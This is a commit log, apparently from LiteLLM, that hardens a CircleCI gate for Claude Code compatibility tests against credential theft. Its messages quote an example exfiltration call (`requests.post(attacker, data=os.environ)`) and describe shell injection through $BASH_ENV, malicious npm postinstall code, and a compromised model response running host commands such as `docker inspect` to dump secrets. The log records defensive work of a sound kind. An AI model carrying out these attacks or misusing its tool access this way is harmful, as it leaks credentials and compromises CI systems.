7 commits

Author	SHA1	Message	Date
mateo-berri	16f2eba313	fix(ci): veria — shell-quote PR-gate resolver output written to $BASH_ENV ... The version-resolver step echoes the resolved CLAUDE_CODE_VERSION into $BASH_ENV unquoted; CircleCI sources $BASH_ENV at the start of every subsequent step *before* any env -i wrapper can run, so the job env (with provider credentials in scope) is live at that moment. A malicious PR could make the resolver — which lives under tests/claude_code/ and is therefore PR-controlled — print a value containing a newline + shell snippet to exfiltrate ANTHROPIC_API_KEY / AWS_* / VERTEXAI_* / AZURE_FOUNDRY_* / GITHUB_TOKEN. Two defenses: - Reject anything that isn't a strict `N.N.N` semver via `[[ ... =~ ^N.N.N$ ]]` (whole-string match, not per-line grep). - shell-quote on write via `printf 'export ...=%q\n'` so a bypass of the regex still cannot break out of the export assignment. Pin both with a structural unit test alongside the existing scrub pins.	2026-05-19 03:07:04 +00:00
mateo-berri	be4d8ec972	fix(pr-gate): greptile — exclude npm pre-release tags from version resolver ... Pre-release versions (e.g. 1.0.0-alpha.1, 2.2.0-rc.1) could otherwise win the newest-by-publish-time selection if a stable release fell inside the 3-day buffer, switching the merge-blocking PR gate to an unstable Claude Code CLI.	2026-05-19 01:58:23 +00:00
Cursor Agent	a35ffd420b	fix(claude_code): bugbot — make bare-Bash security pin actually fail on residual ... The second assertion in test_bash_allow_rule_is_pinned_to_exact_echo_pong was dead code: '"Bash"' not in text or '"Bash(echo pong)"' in text short-circuits to True any time the allow rule is present, which is guaranteed by the first assertion. A test file containing both the unrestricted "Bash" pattern AND the restricted "Bash(echo pong)" pattern would have passed this security check undetected, defeating the exact-match permissions pin that protects the PR-gate machine executor from arbitrary host command execution. Strip the allowed pattern out of the file text before scanning, so the residual check is independent of the first assertion. The pure helper _has_bare_bash_token() is exercised directly by three new unit tests covering both the positive (bare "Bash" → flagged) and negative (only "Bash(echo pong)" → accepted; unrelated 'Bashing' substrings → ignored) paths so this regression cannot recur silently. Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>	2026-05-18 05:07:49 +00:00
Cursor Agent	83ea86718b	fix(ci): scrub pytest env + narrow Bash tool-use to exact echo pong ... Address two new Veria comments (2026-05-18T00:10:41Z) on the claude_code_compat_pr_gate job: 1. .circleci/config.yml (Veria: provider credentials exposed to PR code) The pytest step runs PR-controlled test code (anything under tests/claude_code/) and the CircleCI job env carries the provider creds used to start the proxy container. A malicious PR could add `requests.post(attacker, data=os.environ)` to any test or conftest hook and exfiltrate ANTHROPIC_API_KEY / AWS_* / VERTEXAI_* / AZURE_FOUNDRY_* / GITHUB_TOKEN. Pytest only needs to talk to the proxy at localhost:4000, so the credentials are not legitimately required in pytest's env. Wrap the invocation in `env -i` with a minimal allowlist (PATH / HOME / USER / TERM / LANG / LC_ALL / TMPDIR + the four proxy/result-path vars pytest actually reads). Pinned by a new test in test_circleci_pr_gate_wiring.py so the scrub cannot silently regress. 2. tests/claude_code/{tool_use,tool_use_streaming,thinking_with_tool_use} (Veria: model-controlled Bash execution in CI) The three Bash-using feature directories passed `--allowed-tools Bash` unrestricted, which lets a compromised provider response choose any host command to run instead of `echo pong`. On the PR-gate machine executor that command could `docker inspect compat-proxy` to dump provider creds from the proxy container. Tighten every Bash-using cell (15 files total, 5 providers × 3 feature dirs) to: - --allowed-tools 'Bash(echo pong)' — exact-match pattern per Claude Code's permission rule syntax. A different command does not match the allow rule. - --permission-mode dontAsk — auto-denies tool calls outside the allow rule instead of falling back to the headless default (which would defeat the explicit-allow contract). thinking_with_tool_use prompts are tightened to pin the command to 'echo pong' so the cell can run under the new restriction while still exercising the thinking + tool_use shape. Pinned by a new parametrized test (15 cells × 2 properties = 30 cases) in test_bash_tool_restrictions.py. The model-Bash mitigation is layered on top of the existing cli_driver env allowlist (which already scrubs provider creds from the CLI subprocess env, so even a malicious `echo $ANTHROPIC_API_KEY` prints nothing) and the build-and-test branch filter (which keeps external forks from running this job at all). It is not a substitute for a fully sandboxed CLI runner; the residual risk of Claude Code's built-in read-only `echo` auto-approve is documented in the per-cell comments alongside the restriction. All 223 tests/claude_code/ unit tests pass. Co-authored-by: Cursor Agent <cursoragent@cursor.com>	2026-05-18 00:25:43 +00:00
Cursor Agent	c941291567	fix(ci): scrub provider secrets from env around PR-gate resolver + npm install ... Address two related Veria comments on the claude_code_compat_pr_gate job: 1. (line ~2320) The PR-gate version resolver is PR-controlled Python that runs in the same CircleCI job as the provider secrets injected later into the proxy container. A malicious PR could modify tests/claude_code/pr_gate_version_resolver.py to read ANTHROPIC_API_KEY / AWS_* / VERTEXAI_* / AZURE_FOUNDRY_* / GITHUB_TOKEN out of os.environ and exfiltrate them over the resolver's outbound npm registry HTTPS call. 2. (line ~2335) `npm install -g @anthropic-ai/claude-code` runs the package's `postinstall: node install.cjs` script (verified against the npm registry metadata for @anthropic-ai/claude-code), which executes arbitrary code from npm with the full job env. `claude --version` on the next line also runs package code. A compromised package release (or transitive registry hijack) could exfiltrate the same provider credentials. --ignore-scripts is not viable: the postinstall is the step that fetches the platform binary, so skipping it would leave the install unusable. Mitigation: - Wrap both invocations in `env -i` with a minimal allowlist (PATH / HOME / USER / TERM / LANG / LC_ALL / TMPDIR — plus NVM_DIR + CLAUDE_CODE_VERSION on the npm step). BASH_ENV is intentionally NOT passed through so the scrubbed subshell can't re-source prior steps' exports. - Pin the scrub with two new unit tests in test_circleci_pr_gate_wiring.py so a future YAML refactor cannot silently drop the env -i wrapper and revert the mitigation. The tests verify both that `env -i` is present in each step and that it precedes the actual at-risk invocation in the command body. Verified locally that `env -i PATH=$PATH HOME=$HOME ... uv run --no-sync python -m tests.claude_code.pr_gate_version_resolver` still resolves and prints a CLI version successfully. Co-authored-by: Cursor Agent <cursoragent@cursor.com>	2026-05-18 00:00:35 +00:00
Cursor Agent	0915e87f08	fix(ci): bugbot — persist compat-results artifacts from PR gate ... The conftest's pytest_sessionfinish writes per-cell tagged-union JSON (compat-results.json) and the per-provider rate-limit summary to paths controlled by COMPAT_RESULTS_PATH / COMPAT_RATE_LIMIT_SUMMARY_PATH. The PR gate never set either env var, so the artifacts were written to the working directory — but store_test_results only collects test-results/junit.xml, leaving the per-cell JSON unreachable from the CircleCI artifact browser. Reviewers triaging a red PR gate couldn't pull the cell-level breakdown without re-running. Point both env vars at a dedicated compat-artifacts/ directory and add a store_artifacts step so the JSON blobs become downloadable. Also extend the existing PR-gate wiring test to pin all three pieces: COMPAT_RESULTS_PATH override, COMPAT_RATE_LIMIT_SUMMARY_PATH override, and at least one store_artifacts step whose path matches the directory the exports point at. Without the cross-check, a future refactor could break the chain (e.g. only export the env vars, or only add the store_artifacts step) and the wiring would silently drop the artifacts again. Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>	2026-05-17 21:39:48 +00:00
mateo-berri	e1fc6a8ffc	RALPH: compat matrix slice 3 - wire PR gate in CircleCI (#26479, PRD #26476) ... Slice 3 of the Claude Code Compatibility Matrix: wire the `tests/claude_code/` suite into CircleCI as a pre-merge gate. A red status on the new `claude_code_compat_pr_gate` job blocks merge into the staging branch. What landed: - tests/claude_code/pr_gate_version_resolver.py The Claude Code PR-Gate Version Resolver described in the PRD's "Version resolvers" section. Queries the npm registry for `@anthropic-ai/claude-code` and returns the newest version whose publish timestamp is at least 3 days old. The 3-day window is a security review buffer: a malicious or broken Claude Code release has at least 72 hours to be detected before it can land in our PR gate. Importable function (with `metadata=` / `fetcher=` / `as_of=` injection seams for tests) and a `python -m ...` CLI for the CI step. - tests/claude_code/test_config.yaml Proxy routing config that maps the per-cell aliases the tests use (`claude-haiku-4-5`, `claude-haiku-4-5-bedrock-invoke`, ..., `claude-opus-4-7-vertex`) to real upstream model ids on Anthropic / Bedrock (Invoke + Converse) / Vertex AI. Azure intentionally has no entries here because every Azure × claude-code cell is `not_applicable` (Azure OpenAI doesn't host Claude). - .circleci/config.yml New `claude_code_compat_pr_gate` job. Pattern modeled on `proxy_e2e_anthropic_messages_tests` (load PR-built docker image, start postgres, mount config.yaml). New step in the middle: resolve the Claude Code version from the resolver, install Node 20 via the machine image's preinstalled nvm, and `npm install -g @anthropic-ai/claude-code@${CLAUDE_CODE_VERSION}` (pinned, never `latest`). Wired into `workflows.build_and_test` with a `requires: [build_docker_database_image]` gate and the same `*main_branches` filter the other proxy e2e job uses. - tests/claude_code/_pr_gate_unit_tests/ 16 new unit tests: * 8 against the version resolver: boundary (>= 3d inclusive), empty / all-too-new metadata, semver-vs-publish-time tiebreak, custom min_age, fetcher injection, npm `time.created` / `time.modified` skipping. * 8 structural tests against `.circleci/config.yml`: job exists, is in the workflow, requires the docker image, invokes the resolver, install command is pinned (rejects unpinned `latest`), runs `tests/claude_code/`, mounts `test_config.yaml`, exports `LITELLM_PROXY_BASE_URL` / `LITELLM_PROXY_API_KEY`. Plus one regression test: the existing `proxy_e2e_anthropic_messages_tests` job is unchanged in shape (acceptance criterion). Key decisions: - "Newest version" in the resolver is by **publish time**, not by semver string ordering — if a patch lands on an older major after a newer release, the patched line is the eligible one. (Tested.) - The resolver's CLI prints the announcement to stderr and the bare version to stdout, so the CI step can do `CLAUDE_CODE_VERSION=$(uv run python -m ...)` cleanly while still surfacing the selected version in the job log (acceptance criterion: "the selected Claude Code version is logged"). - The structural CircleCI tests live under `_pr_gate_unit_tests/` so the conftest path-inference hook skips them (the leading underscore is the existing convention from `_driver_unit_tests/` / `_builder_unit_tests/`); they don't pollute the matrix artifact. - No `--no-verify` style supply-chain safety relaxation. Per the PRD, Claude Code's pinning is the 3-day publish-age window, not a fixed hash — by design, since the daily cron also pulls newer versions. Tests: 47 -> 47 passing for the unit suite (16 new + 31 from slices 1 and 2). The end-to-end cells under `basic_messaging_non_streaming/` require `LITELLM_PROXY_BASE_URL` / `LITELLM_PROXY_API_KEY` and a running proxy + `claude` CLI; they only run inside the new CircleCI job. Out of scope per CLAUDE.md (docs live in BerriAI/litellm-docs): - No docs PR is needed for this slice — the gate produces a status check, not a published artifact. The compat matrix JSON the docs page consumes is published by the daily-cron job (a future slice), not by the PR gate. Notes for next iteration: - The daily cron / matrix publisher is the next slice. Several pieces this slice introduces (the `tests/claude_code/test_config.yaml` proxy config, the structure of the compat-results.json artifact) will be reused by it. - The bedrock-converse / vertex_ai aliases in `test_config.yaml` use best-guess upstream model ids (`us.anthropic.claude-{tier}` and `vertex_ai/claude-{tier}`); the real ids may need to be tightened once the gate runs against live AWS / GCP credentials and we see what resolves. Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>	2026-05-06 23:27:05 +00:00